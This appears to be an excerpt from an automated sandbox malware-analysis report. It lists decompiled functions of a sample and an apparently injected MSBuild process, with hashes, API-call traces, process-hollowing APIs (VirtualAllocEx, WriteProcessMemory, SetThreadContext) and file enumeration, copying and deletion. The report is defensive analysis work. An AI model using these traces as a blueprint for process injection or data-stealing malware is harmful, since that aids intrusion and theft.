Opcode ID: db0c9b52514d856983c9ed166fa2ae2f4534dee1d7ae4e1512f072035951ff60
Instruction ID: 474c9e585d78e3d07a54799d21d3d7995be30679535443c73cf3bd51eb9402da
Opcode Fuzzy Hash: db0c9b52514d856983c9ed166fa2ae2f4534dee1d7ae4e1512f072035951ff60
Instruction Fuzzy Hash: 86D13A75E082589FCF15CFE8D8809ADFBB9FF49324F18852AE865E7291D730A941CB50

Function 0092B05E Relevance: 6.3, APIs: 4, Instructions: 325COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0092B08F
_memset.LIBCMT ref: 0092B0AF
_memset.LIBCMT ref: 0092B0C0
_memset.LIBCMT ref: 0092B0D1

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f8f2153a799745a3823d4200728c2e8b4f8fcabfd3bf63ecfc095cee7d3419b3
Instruction ID: 0a7eaec336c8a9eb6e9a5b23f1d1d42c504e404deac7813d944b34c37ad4d99e
Opcode Fuzzy Hash: f8f2153a799745a3823d4200728c2e8b4f8fcabfd3bf63ecfc095cee7d3419b3
Instruction Fuzzy Hash: 15D1D671A1113DAADB20EB90EC92BD9B7B8AF44304F1014E7A608B7065DB707F89CF61

Function 008FA371 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 008FA438
___AdjustPointer.LIBCMT ref: 008FA45B
___AdjustPointer.LIBCMT ref: 008FA4F7

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 3d399a453a3d1d5ff2d5d2bb9a24020163f6146ab937f20d37e44459d4a7f859
Instruction ID: a50026f2a21f67186190707c63879d03ec3f0bb89e1f7bdfe69de9704573109f
Opcode Fuzzy Hash: 3d399a453a3d1d5ff2d5d2bb9a24020163f6146ab937f20d37e44459d4a7f859
Instruction Fuzzy Hash: C751E0B660020E9FEB2D8F74D845B7A77A4FF54324F244029EA09D6291E771EC40DB9A

Function 00935259 Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0093527E
_memset.LIBCMT ref: 0093528D
_memset.LIBCMT ref: 0093544D
_memset.LIBCMT ref: 0093545F

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: e6a4378ef944a74b131cf10b70e7dc44835de18d1aba5a5ebab30bde6206ff17
Instruction ID: 43b18ebc84bcc4cac51e18f6a44ea066370e2ee704d75e5c5639d2bc52a343ea
Opcode Fuzzy Hash: e6a4378ef944a74b131cf10b70e7dc44835de18d1aba5a5ebab30bde6206ff17
Instruction Fuzzy Hash: 4E51B7B1E4022E9BDB25EF64DC82BDDB3BCAB84704F4100E5A718B3191DA346F868E54

Function 00933395 Relevance: 6.1, APIs: 4, Instructions: 114COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009333BA
_memset.LIBCMT ref: 0093342E
_memset.LIBCMT ref: 009334A2
_memset.LIBCMT ref: 00933516

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: cd4a56d92ebe8f612b610e688c4f30728cb1f6f2652345522dcac12796165e9d
Instruction ID: dbdf686e12ae88d263a69cd00ace9f8c48544f2eaa6fefe65a97651cf39390e2
Opcode Fuzzy Hash: cd4a56d92ebe8f612b610e688c4f30728cb1f6f2652345522dcac12796165e9d
Instruction Fuzzy Hash: A841C771D4021CBBDB24FB60DC87FDD737CAB49704F2444A5B615A7080EAB59A888F91

Function 009439AD Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 009439B9

Part of subcall function 0094194C: __getptd_noexit.LIBCMT ref: 0094194F
Part of subcall function 0094194C: __amsg_exit.LIBCMT ref: 0094195C

__amsg_exit.LIBCMT ref: 009439D9
__lock.LIBCMT ref: 009439E9
_free.LIBCMT ref: 00943A19

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3170801528-0
Opcode ID: cdb488327a21f6d606db66afea2a437e5231a64039bb5e551d8e41bc4490d92d
Instruction ID: 3d9f999bcf635ee3923aaf3c0557e2968e48688ec419ed6f014bbff210aa4c77
Opcode Fuzzy Hash: cdb488327a21f6d606db66afea2a437e5231a64039bb5e551d8e41bc4490d92d
Instruction Fuzzy Hash: C6019231D41711EBCB21AF34A806F5D7364BF44720F159256E891676D1C7346E81CFDA

Function 009106EF Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,0090F713,00000000,00000001,00000000,00000000,?,00907B44,00000000,00000000,00000000), ref: 00910706
GetLastError.KERNEL32(?,0090F713,00000000,00000001,00000000,00000000,?,00907B44,00000000,00000000,00000000,00000000,00000000,?,009080CB,00000000), ref: 00910712

Part of subcall function 009106D8: CloseHandle.KERNEL32(FFFFFFFE,00910722,?,0090F713,00000000,00000001,00000000,00000000,?,00907B44,00000000,00000000,00000000,00000000,00000000), ref: 009106E8

___initconout.LIBCMT ref: 00910722

Part of subcall function 0091069A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,009106C9,0090F700,00000000,?,00907B44,00000000,00000000,00000000,00000000), ref: 009106AD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,0090F713,00000000,00000001,00000000,00000000,?,00907B44,00000000,00000000,00000000,00000000), ref: 00910737

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 296eb96197894373bfdf91ef27b03f156229de0e22663881a27ab029129782ff
Instruction ID: af6db2e73ad01080fed560712d58f915a02daeb20f09d18afd5abb66f8e2f600
Opcode Fuzzy Hash: 296eb96197894373bfdf91ef27b03f156229de0e22663881a27ab029129782ff
Instruction Fuzzy Hash: C5F03736355158BBCF125F95DC04ACD3FB5FF893A1B008110F95D95130C67289A0EF90

Function 008FA060 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 008FA09F
__IsNonwritableInCurrentImage.LIBCMT ref: 008FA153

Strings

csm, xrefs: 008FA13D

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 1535e4df4139811020b814f4e4b66c1d5d4ffc7000cfb7af381208b91ecca36a
Instruction ID: c0b6bcda9bad2f7aa1d1e9ef7cf29487e7f7e7ae2096e6789dba9dbac6b099ec
Opcode Fuzzy Hash: 1535e4df4139811020b814f4e4b66c1d5d4ffc7000cfb7af381208b91ecca36a
Instruction Fuzzy Hash: F541B174A0021CABCF14DF78C881ABE7BB1FF44324F158155EA19DB292D731DA91CB92

Function 008FA96D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 008FA992

Strings

RCC, xrefs: 008FA9AC
MOC, xrefs: 008FA9A4

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: a6ae2fce6d4d550e013c2fc0ff9e2cb9ee01cb6bab340255b27ec34e464cb955
Instruction ID: 134e8259cbb1a2b163ba76192146c1018fd2f695d8c0f98ce1e387226651dddd
Opcode Fuzzy Hash: a6ae2fce6d4d550e013c2fc0ff9e2cb9ee01cb6bab340255b27ec34e464cb955
Instruction Fuzzy Hash: 92413AB190021DAFCF1ADFA8C981ABEBBB5FF48310F194059FA18A7211D3359950DB52

Function 008F15DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 008F15E6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 008F161E

Part of subcall function 008F5178: _Yarn.LIBCPMT ref: 008F5197
Part of subcall function 008F5178: _Yarn.LIBCPMT ref: 008F51BB

Strings

bad locale name, xrefs: 008F162C

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: ca8f9d32471a982b1e0bc910fcade4586a6ef3386216a143b16597ae93f0fedd
Instruction ID: 1c33df9ee11aadb54c2184061c65fcf73d15066b7bd0f8308555e72a997478f6
Opcode Fuzzy Hash: ca8f9d32471a982b1e0bc910fcade4586a6ef3386216a143b16597ae93f0fedd
Instruction Fuzzy Hash: 1BF01771506B949E83319F7E9481457FBE4FE293203949A2FE2DEC3A11D734A444CB6A

Analysis Process: MSBuild.exePID: 6628, Parent PID: 6532COMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	30

Executed Functions

Function 00418A63 Relevance: 231.5, APIs: 121, Strings: 11, Instructions: 518
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,004173DA), ref: 00418A77
GetProcAddress.KERNEL32 ref: 00418A8E
GetProcAddress.KERNEL32 ref: 00418AA5
GetProcAddress.KERNEL32 ref: 00418ABC
GetProcAddress.KERNEL32 ref: 00418AD3
GetProcAddress.KERNEL32 ref: 00418AEA
GetProcAddress.KERNEL32 ref: 00418B01
GetProcAddress.KERNEL32 ref: 00418B18
GetProcAddress.KERNEL32 ref: 00418B2F
GetProcAddress.KERNEL32 ref: 00418B46
GetProcAddress.KERNEL32 ref: 00418B5D
GetProcAddress.KERNEL32 ref: 00418B74
GetProcAddress.KERNEL32 ref: 00418B8B
GetProcAddress.KERNEL32 ref: 00418BA2
GetProcAddress.KERNEL32 ref: 00418BB9
GetProcAddress.KERNEL32 ref: 00418BD0
GetProcAddress.KERNEL32 ref: 00418BE7
GetProcAddress.KERNEL32 ref: 00418BFE
GetProcAddress.KERNEL32 ref: 00418C15
GetProcAddress.KERNEL32 ref: 00418C2C
GetProcAddress.KERNEL32 ref: 00418C43
GetProcAddress.KERNEL32 ref: 00418C5A
GetProcAddress.KERNEL32 ref: 00418C71
GetProcAddress.KERNEL32 ref: 00418C88
GetProcAddress.KERNEL32 ref: 00418C9F
GetProcAddress.KERNEL32 ref: 00418CB6
GetProcAddress.KERNEL32 ref: 00418CCD
GetProcAddress.KERNEL32 ref: 00418CE4
GetProcAddress.KERNEL32 ref: 00418CFB
GetProcAddress.KERNEL32 ref: 00418D12
GetProcAddress.KERNEL32 ref: 00418D29
GetProcAddress.KERNEL32 ref: 00418D40
GetProcAddress.KERNEL32 ref: 00418D57
GetProcAddress.KERNEL32 ref: 00418D6E
GetProcAddress.KERNEL32 ref: 00418D85
GetProcAddress.KERNEL32 ref: 00418D9C
GetProcAddress.KERNEL32 ref: 00418DB3
GetProcAddress.KERNEL32 ref: 00418DCA
GetProcAddress.KERNEL32 ref: 00418DE1
GetProcAddress.KERNEL32 ref: 00418DF8
GetProcAddress.KERNEL32 ref: 00418E0F
GetProcAddress.KERNEL32 ref: 00418E26
GetProcAddress.KERNEL32 ref: 00418E3D
GetProcAddress.KERNEL32(CreateProcessA), ref: 00418E53
GetProcAddress.KERNEL32(GetThreadContext), ref: 00418E69
GetProcAddress.KERNEL32(ReadProcessMemory), ref: 00418E7F
GetProcAddress.KERNEL32(VirtualAllocEx), ref: 00418E95
GetProcAddress.KERNEL32(ResumeThread), ref: 00418EAB
GetProcAddress.KERNEL32(WriteProcessMemory), ref: 00418EC1
GetProcAddress.KERNEL32(SetThreadContext), ref: 00418ED7
LoadLibraryA.KERNEL32(004173DA), ref: 00418EE8
LoadLibraryA.KERNEL32 ref: 00418EF9
LoadLibraryA.KERNEL32 ref: 00418F0A
LoadLibraryA.KERNEL32 ref: 00418F1B
LoadLibraryA.KERNEL32 ref: 00418F2C
LoadLibraryA.KERNEL32 ref: 00418F3D
LoadLibraryA.KERNEL32 ref: 00418F4E
LoadLibraryA.KERNEL32 ref: 00418F5F
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00418F6F
GetProcAddress.KERNEL32(75290000), ref: 00418F8A
GetProcAddress.KERNEL32 ref: 00418FA1
GetProcAddress.KERNEL32 ref: 00418FB8
GetProcAddress.KERNEL32 ref: 00418FCF
GetProcAddress.KERNEL32 ref: 00418FE6
GetProcAddress.KERNEL32(6FC70000), ref: 00419005
GetProcAddress.KERNEL32 ref: 0041901C
GetProcAddress.KERNEL32 ref: 00419033
GetProcAddress.KERNEL32 ref: 0041904A
GetProcAddress.KERNEL32 ref: 00419061
GetProcAddress.KERNEL32 ref: 00419078
GetProcAddress.KERNEL32 ref: 0041908F
GetProcAddress.KERNEL32 ref: 004190A6
GetProcAddress.KERNEL32(752C0000), ref: 004190C1
GetProcAddress.KERNEL32 ref: 004190D8
GetProcAddress.KERNEL32 ref: 004190EF
GetProcAddress.KERNEL32 ref: 00419106
GetProcAddress.KERNEL32 ref: 0041911D
GetProcAddress.KERNEL32(74EC0000), ref: 0041913C
GetProcAddress.KERNEL32 ref: 00419153
GetProcAddress.KERNEL32 ref: 0041916A
GetProcAddress.KERNEL32 ref: 00419181
GetProcAddress.KERNEL32 ref: 00419198
GetProcAddress.KERNEL32 ref: 004191AF
GetProcAddress.KERNEL32(75BD0000), ref: 004191CE
GetProcAddress.KERNEL32 ref: 004191E5
GetProcAddress.KERNEL32 ref: 004191FC
GetProcAddress.KERNEL32 ref: 00419213
GetProcAddress.KERNEL32 ref: 0041922A
GetProcAddress.KERNEL32 ref: 00419241
GetProcAddress.KERNEL32 ref: 00419258
GetProcAddress.KERNEL32 ref: 0041926F
GetProcAddress.KERNEL32 ref: 00419286
GetProcAddress.KERNEL32(75A70000), ref: 004192A1
GetProcAddress.KERNEL32 ref: 004192B8
GetProcAddress.KERNEL32 ref: 004192CF
GetProcAddress.KERNEL32 ref: 004192E6
GetProcAddress.KERNEL32 ref: 004192FD
GetProcAddress.KERNEL32(75450000), ref: 00419318
GetProcAddress.KERNEL32 ref: 0041932F
GetProcAddress.KERNEL32(75DA0000), ref: 0041934A
GetProcAddress.KERNEL32 ref: 00419361
GetProcAddress.KERNEL32(6F070000), ref: 00419380
GetProcAddress.KERNEL32 ref: 00419397
GetProcAddress.KERNEL32 ref: 004193AE
GetProcAddress.KERNEL32 ref: 004193C5
GetProcAddress.KERNEL32 ref: 004193DC
GetProcAddress.KERNEL32 ref: 004193F3
GetProcAddress.KERNEL32 ref: 0041940A
GetProcAddress.KERNEL32 ref: 00419421
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 00419437
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 0041944D
GetProcAddress.KERNEL32(75AF0000), ref: 00419468
GetProcAddress.KERNEL32 ref: 0041947F
GetProcAddress.KERNEL32 ref: 00419496
GetProcAddress.KERNEL32 ref: 004194AD
GetProcAddress.KERNEL32(75D90000), ref: 004194C8
GetProcAddress.KERNEL32(6F8E0000), ref: 004194E3
GetProcAddress.KERNEL32 ref: 004194FA
GetProcAddress.KERNEL32 ref: 00419511
GetProcAddress.KERNEL32 ref: 00419528
GetProcAddress.KERNEL32(6CE40000,SymMatchString), ref: 00419542

Strings

dbghelp.dll, xrefs: 00418F65
VirtualAllocEx, xrefs: 00418E85
HttpQueryInfoA, xrefs: 00419427
ResumeThread, xrefs: 00418E9B
CreateProcessA, xrefs: 00418E43
SetThreadContext, xrefs: 00418EC7
GetThreadContext, xrefs: 00418E59
SymMatchString, xrefs: 0041953C
ReadProcessMemory, xrefs: 00418E6F
InternetSetOptionA, xrefs: 0041943D
WriteProcessMemory, xrefs: 00418EB1

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll
API String ID: 2238633743-2740034357
Opcode ID: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction ID: 8ba0d5c8ae2e13c06544b1593b83c2cece409b0c910b42dbc8887f4207037caa
Opcode Fuzzy Hash: 3e30b89850b8473fc7cede02b6692b6796462800fa081e8782096f790b2d890e
Instruction Fuzzy Hash: C752F475910312AFEF1ADFA0FD088243BA7F718707F11A466E91582270E73B4A64EF19

Function 00414CC8 Relevance: 49.3, APIs: 24, Strings: 4, Instructions: 297
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00414D1C
FindFirstFileA.KERNEL32(?,?), ref: 00414D33
_memset.LIBCMT ref: 00414D4F
_memset.LIBCMT ref: 00414D60
StrCmpCA.SHLWAPI(?,004369F8), ref: 00414D81
StrCmpCA.SHLWAPI(?,004369FC), ref: 00414D9B
wsprintfA.USER32 ref: 00414DC2
StrCmpCA.SHLWAPI(?,0043660F), ref: 00414DD6
wsprintfA.USER32 ref: 00414DFF
wsprintfA.USER32 ref: 00414E16

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

_memset.LIBCMT ref: 00414E28
lstrcatA.KERNEL32(?,?), ref: 00414E3D
strtok_s.MSVCRT ref: 00414E82
_memset.LIBCMT ref: 00414E94
lstrcatA.KERNEL32(?,?), ref: 00414EA9
strtok_s.MSVCRT ref: 00414EC2
PathMatchSpecA.SHLWAPI(?,00000000), ref: 00414ED7
DeleteFileA.KERNEL32(?,00436A28,0043661D), ref: 00414F90
CopyFileA.KERNEL32(?,?,00000001), ref: 00414FA0

Part of subcall function 00412166: CreateFileA.KERNEL32(00414FAC,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,00414FAC,?), ref: 00412181

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414FB6
DeleteFileA.KERNEL32(?,00000000,?,000003E8,00000000), ref: 00414FC1
strtok_s.MSVCRT ref: 00414FE7
FindNextFileA.KERNELBASE(?,?), ref: 00415105
FindClose.KERNEL32(?), ref: 00415125

Strings

%s\%s, xrefs: 00414DBC
%s\%s\%s, xrefs: 00414DF9
%s\*.*, xrefs: 00414D10
%s\%s, xrefs: 00414E10

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$_memsetlstrcatwsprintf$Findlstrcpystrtok_s$Delete$CloseCopyCreateFirstMatchNextPathSpecUnothrow_t@std@@@__ehfuncinfo$??2@lstrlen
String ID: %s\%s$%s\%s$%s\%s\%s$%s\*.*
API String ID: 956187361-332874205
Opcode ID: 0b980f5fe467d40f36a48e0aa954b15b20be97dd482f654baf88f773cf79a131
Instruction ID: 9768ecd297fb6e20fca964dbbce2c4256e5a8c732881b8487d541fa13927e408
